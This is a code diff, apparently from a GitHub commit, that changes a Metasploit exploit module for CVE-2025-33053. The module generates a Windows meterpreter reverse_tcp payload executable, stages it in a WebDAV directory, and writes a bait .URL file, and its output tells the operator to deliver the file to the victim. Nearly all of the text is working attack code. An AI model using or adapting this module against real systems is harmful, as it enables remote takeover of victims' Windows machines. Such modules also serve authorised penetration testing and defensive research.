1
- ##
2
- # This module requires Metasploit: https://metasploit.com/download
3
- # Current source: https://github.com/rapid7/metasploit-framework
4
- ##
1
+ # frozen_string_literal: true
5
2
3
+ # Metasploit module to exploit CVE-2025-33053 via malicious .URL and WebDAV payload hosting.
6
4
class MetasploitModule < Msf ::Exploit ::Remote
7
- include Msf ::Exploit ::Remote ::HttpServer
8
5
Rank = NormalRanking
9
6
10
7
def initialize ( info = { } )
@@ -29,18 +26,7 @@ def initialize(info = {})
29
26
] ,
30
27
'Platform' => 'win' ,
31
28
'Arch' => ARCH_X64 ,
32
- 'Targets' => [
33
- [
34
- 'Windows (generic)' ,
35
- {
36
- 'Platform' => 'win' ,
37
- 'Arch' => ARCH_X64 ,
38
- 'DefaultOptions' => {
39
- 'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
40
- }
41
- }
42
- ]
43
- ] ,
29
+ 'Targets' => [ [ 'Windows (generic)' , { } ] ] ,
44
30
'DefaultTarget' => 0 ,
45
31
'Notes' => {
46
32
'Stability' => [ CRASH_SAFE ] ,
@@ -52,8 +38,9 @@ def initialize(info = {})
52
38
53
39
register_options (
54
40
[
55
- OptString . new ( 'FILENAME ' , [ true , 'Output URL file name' , 'bait.url' ] ) ,
41
+ OptString . new ( 'OUTFILE ' , [ true , 'Output URL file name' , 'bait.url' ] ) ,
56
42
OptString . new ( 'PAYLOAD_NAME' , [ true , 'Output payload file name' , 'route.exe' ] ) ,
43
+ OptString . new ( 'PAYLOAD' , [ true , 'Payload to generate' , 'windows/x64/meterpreter/reverse_tcp' ] ) ,
57
44
OptBool . new ( 'GEN_PAYLOAD' , [ true , 'Generate payload and move to WebDAV directory' , true ] ) ,
58
45
OptString . new ( 'WEBDAV_DIR' , [ true , 'WebDAV directory path' , '/var/www/webdav' ] )
59
46
]
@@ -71,11 +58,21 @@ def initialize(info = {})
71
58
end
72
59
73
60
def exploit
61
+ prepare_webdav_dir
74
62
generate_payload_if_needed
75
63
write_url_file
76
64
print_status ( "Module complete. Deliver #{ File . expand_path ( datastore [ 'OUTFILE' ] ) } to victim." )
77
65
end
78
66
67
+ def prepare_webdav_dir
68
+ print_status ( 'Creating WebDAV directory if not exists...' )
69
+ FileUtils . mkdir_p ( datastore [ 'WEBDAV_DIR' ] ) unless File . directory? ( datastore [ 'WEBDAV_DIR' ] )
70
+ rescue Errno ::EACCES
71
+ fail_with ( Failure ::NoAccess ,
72
+ "Cannot create WebDAV directory. Permission denied.\n " \
73
+ "Try restarting Metasploit with sudo or change ownership of #{ datastore [ 'WEBDAV_DIR' ] } ." )
74
+ end
75
+
79
76
def generate_payload_if_needed
80
77
return unless datastore [ 'GEN_PAYLOAD' ]
81
78
@@ -85,9 +82,20 @@ def generate_payload_if_needed
85
82
end
86
83
87
84
def generate_payload_exe ( payload_name , lhost , lport , output_path )
88
- write_exe_file ( output_path , payload . encoded )
85
+ payload = framework . payloads . create ( payload_name . to_s . strip )
86
+ payload . datastore [ 'LHOST' ] = lhost
87
+ payload . datastore [ 'LPORT' ] = lport
88
+ raw = payload . generate
89
+ exe = Msf ::Util ::EXE . to_win32pe ( framework , raw )
90
+ write_exe_file ( output_path , exe )
89
91
end
90
92
93
+ def write_exe_file ( path , exe )
94
+ File . open ( path , 'wb' ) { |f | f . write ( exe ) }
95
+ print_good ( "Payload successfully written to #{ path } " )
96
+ rescue Errno ::EACCES
97
+ return_error ( path )
98
+ end
91
99
92
100
def write_url_file
93
101
content = generate_url_content
0 commit comments